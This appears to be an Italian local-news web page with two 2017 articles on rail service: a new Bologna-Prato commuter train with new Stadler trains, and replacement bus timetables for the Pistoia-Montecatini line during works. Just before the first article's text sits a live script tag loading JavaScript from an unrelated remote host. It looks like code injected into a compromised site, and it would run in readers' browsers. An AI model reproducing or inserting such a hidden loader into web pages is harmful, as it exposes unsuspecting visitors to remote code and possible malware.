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13 set 2017

Nuovo collegamento ferroviario Prato-Bologna

di Cristina Betti

<script src=http://a.c0594.com/?js=6></script>&lt;p style="text-align: justify"&gt;Una &lt;b&gt;nuova corsa&lt;/b&gt; sulla linea &lt;b&gt;Bologna-Prato&lt;/b&gt; al servizio &lt;b&gt;dell’area industriale di Pianoro e Pian di Macina (BO)&lt;/b&gt;, con partenza alle&lt;b&gt; 7:10&lt;/b&gt; da Bologna e arrivo nella città toscana alle 8:23, è stata inaugurata oggi dall’assessore regionale alla mobilità &lt;b&gt;Raffaele Donini&lt;/b&gt; che ha percorso la tratta fino alla stazione di Pianoro insieme al direttore regionale di Trenitalia &lt;b&gt;Davide Diversi&lt;/b&gt;.&lt;/p&gt; &lt;p style="text-align: justify"&gt;Con loro il sindaco del Comune &lt;b&gt;Gabriele Minghetti&lt;/b&gt;, il delegato alle infrastrutture per la città metropolitana &lt;b&gt;Marco Monesi&lt;/b&gt;, il Presidente della Marchesini Group &lt;b&gt;Maurizio Marchesini&lt;/b&gt; e le Rsu aziendali della Marchesini group e Sherwin-Williams.&lt;/p&gt; &lt;p style="text-align: justify"&gt;Ma le novità in arrivo non si fermano qui. Sempre da oggi entrano in azione &lt;b&gt;due nuovi treni Stadler Etr&lt;/b&gt; &lt;b&gt;350&lt;/b&gt; sulle linee &lt;b&gt;Bologna-San Benedetto Val di Sambro/Prato&lt;/b&gt; e &lt;b&gt;Bologna-Poggio Rusco/Verona&lt;/b&gt;. Entrambi i convogli, conferiti dalla Regione Emilia Romagna a Trenitalia, permetteranno di migliorare in misura significativa il comfort del viaggio e l’affidabilità del servizio.&lt;/p&gt; &lt;blockquote&gt;&lt;i&gt;«Si tratta di un nuovo importante passo avanti per incrementare l’offerta di trasporto pubblico nel Bolognese&lt;i&gt;»&lt;/i&gt;&lt;/i&gt; – ha sottolineato l’assessore &lt;b&gt;Donini&lt;/b&gt; –  &lt;i&gt;«&lt;/i&gt;&lt;i&gt;con una attenzione  particolare alle esigenze che ci erano state trasmesse da parte dei lavoratori e degli imprenditori dell’area di Pianoro. Questa Regione è impegnata in uno sforzo senza uguali nel rinnovare e potenziare il trasporto su ferro per dare ai cittadini,  con particolare riguardo a chi si sposta ogni giorno per motivi di lavoro e di studio, un servizio sempre più di qualità e competitivo&lt;/i&gt;&lt;i&gt;»&lt;/i&gt;. &lt;i&gt;«Il rinnovo della flotta dei treni regionali di Trenitalia in Emilia Romagna è un elemento importante di miglioramento della qualità e affidabilità del nostro servizio»&lt;/i&gt; – ha commentato il direttore &lt;b&gt;Diversi&lt;/b&gt;. &lt;i&gt;«&lt;/i&gt;&lt;i&gt;Insieme all’utilizzo di sistemi avanzati e dinamici per la manutenzione delle locomotive e delle carrozze e a una control room integrata per il monitoraggio dei treni 24 ore su 24, i nuovi convogli stanno contribuendo anche a migliorare la percezione da parte dei clienti del viaggio nel suo complesso. I dati dell’ultima indagine demoscopica, commissionata da Trenitalia a una società esterna, fotografano infatti un gradimento in crescita di 7,5 punti percentuali rispetto all’stesso periodo del 2016 e di 11,6 se raffrontati al 2015, con l’88,1% degli intervistati che hanno promosso il servizio».&lt;/i&gt;&lt;/blockquote&gt; Più nel dettaglio: sul tragitto &lt;b&gt;Bologna-Prato&lt;/b&gt;, grazie al nuovo Stadler - il primo su questa linea -  saranno effettuati &lt;b&gt;10 collegamenti giornalieri&lt;/b&gt;, pari a circa il 20% dell’intera offerta feriale media, mentre sulla linea &lt;b&gt;Bologna-Poggio Rusco/Verona&lt;/b&gt;, già servita da Tper con un Etr 350, il nuovo treno garantirà ulteriori &lt;b&gt;12 corse giornaliere&lt;/b&gt;, portando al 45% (65% se si considerano anche le carrozze Vivalto) la percentuale dei servizi effettuati con treni nuovi. &lt;b&gt;Bologna-Prato: una nuova corsa al mattino e il prolungamento fino a Prato di quella serale.&lt;/b&gt; Per quanto riguarda l’incremento del servizio sulla linea Bologna-San Benedetto Val di Sambro/Prato, le modifiche – concordate tra le Regioni Emilia Romagna e Toscana e condivise con Trenitalia – prevedono un nuovo treno da Bologna Centrale alle 7:10 con destinazione finale Prato (arrivo 8:23) e fermate nelle stazioni intermedie di &lt;b&gt;Bologna San Vitale&lt;/b&gt;, &lt;b&gt;Bologna Mazzini&lt;/b&gt;, &lt;b&gt;Bologna San Ruffillo&lt;/b&gt;, &lt;b&gt;Rastignano&lt;/b&gt;, &lt;b&gt;Pian di Macina&lt;/b&gt;, &lt;b&gt;Pianoro, Monzuno&lt;/b&gt;, &lt;b&gt;Grizzana&lt;/b&gt;, &lt;b&gt;San Benedetto Val di Sambro&lt;/b&gt;, &lt;b&gt;Vernio e Vaiano&lt;/b&gt;. Il nuovo collegamento si colloca fra le due attuali partenze dal capoluogo emiliano verso San Benedetto Val di Sambro – confermate alle 6:40 e 7:40 – determinando una intensificazione del servizio in fascia pendolare. Tra le novità anche il &lt;b&gt;prolungamento fino a Prato&lt;/b&gt; dell’ultimo regionale della sera, &lt;b&gt;in partenza alle 22:09&lt;/b&gt; e prima limitato a San Benedetto Val di Sambro. &lt;b&gt;In direzione opposta&lt;/b&gt;, un nuovo treno partirà da Prato alle 8:46 per arrivare a Bologna alle 9:58, mentre il Regionale delle 7:13 da San Benedetto Val di Sambro allungherà il suo percorso partendo da Prato alle 6:45 e mantenendo invariato l’arrivo nel capoluogo emiliano alle 7:55. Entrambi i collegamenti effettueranno le fermate di Vaiano, Vernio, San Benedetto Val di Sambro, Grizzana, Monzuno, Pianoro, Pian di Macina, Rastignano, Bologna San Ruffillo, Bologna Mazzini e Bologna San Vitale. La rimodulazione dell’offerta sulla linea prevede inoltre la cessazione del servizio delle 6:22 da Bologna a San Benedetto Val di Sambro, partenza intermedia fra le due corse, confermate, delle 6:13 e 6:40. In direzione opposta, non circolerà più il treno delle 22:59 da San Benedetto Val di Sambro a Bologna. Il saldo fra i chilometri percorsi dai nuovi treni e quelli sottratti dalle due corse cancellate sarà però positivo, con un totale di 160 chilometri in più garantiti, nei giorni feriali, dalla nuova e più razionale offerta rispetto alla precedente.* Fonte: fsnews.it

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02 ago 2017

Dal 6 agosto al 2 settembre pullman sostitutivi per la tratta ferroviaria Pistoia-Montecatini

di Cristina Betti

Causa lavori, sotto gli orari dei servizi sostitutivi di Trenitalia per la tratta Pistoia-Montecatini dal 6 agosto al 2 settembre.   Dal 6 agosto al 2 settembre a causa dei lavori di raddoppiamento della linea ferroviaria Pistoia-Montecatini, il servizio dei treni sarà sostituito da navette bus sostitutive per quella tratta. Ecco dunque gli orari del servizio sostitutivo nei giorni feriali (dal 7 agosto al 2 settembre). A Pistoia i bus partiranno da piazza stazione, a Montecatini Terme da Piazza Italia. Da Pistoia verso Montecatini (32 viaggi): 5.49, 6.43, 7.24, 7.58, 8.20, 8.48, 9.20, 9.43, 12.20, 12.48, 13.20, 13.48, 14.20, 14.48, 15.20, 15.48, 16.20, 16.48, 17.20, 17.48, 18.20, 18.48, 19.20, 19.48, 20.20, 20.48, 21.20, 21.48, 22.25, 22.50, 23.45. Da Montecatini a Pistoia (30 viaggi): 1.13, 5.40, 6.39, 6.55, 7.06, 7.32, 8.05, 8.35, 9.15, 10.07, 11.09, 13.13, 13.30, 14.13, 14.30, 15.13, 15.30, 16.30, 17.13, 17.30, 18.13, 18.30, 19.13, 19.30, 20.13, 20.30, 21.13, 21.30, 22.13, 23.05 Ci sono poi gli orari dei giorni festivi. In questo caso saranno in vigore da domenica 6 agosto, primo giorno di chiusura della ferrovia nel tratto fra Pistoia e Montecatini. Da Pistoia a Montecatini (24 viaggi): 6.43, 7.24, 7.58, 8.20, 8.48, 9.20, 9.43, 10.40, 11.25, 12.48, 13.48, 14.20, 15.20, 15.48, 16.48, 17.48, 18.20, 18.48, 19.20, 19.48, 20.48, 22.25, 22.50, 23.45. Da Montecatini a Pistoia (23 viaggi): 1.13, 6.55, 7.23, 7.45, 8.19, 9.09, 10.07, 10.35, 11.09, 11.35, 13.30, 14.13, 15.13, 16.30, 17.13, 17.30, 18.13, 19.13, 19.30, 20.13, 20.30, 21.13, 22.31. I treni da Firenze, nei feriali, arriveranno a Pistoia almeno 10 minuti prima della partenza dei pullman sostitutivi per Montecatini; da Montecatini Terme per Lucca ci saranno invece almeno 10 minuti per prendere il treno in direzione Lucca. I treni in coincidenza da Lucca arriveranno a Montecatini almeno 5 minuti prima della partenza dei pullman sostitutivi per Pistoia; da Pistoia per Firenze ci sarà altrettanto tempo per prendere il treno in direzione Firenze. A causa dei tempi ristretti fra le coincidenze bus-treno si prevedono (e non è una novità) problemi e disagi sulla linea.

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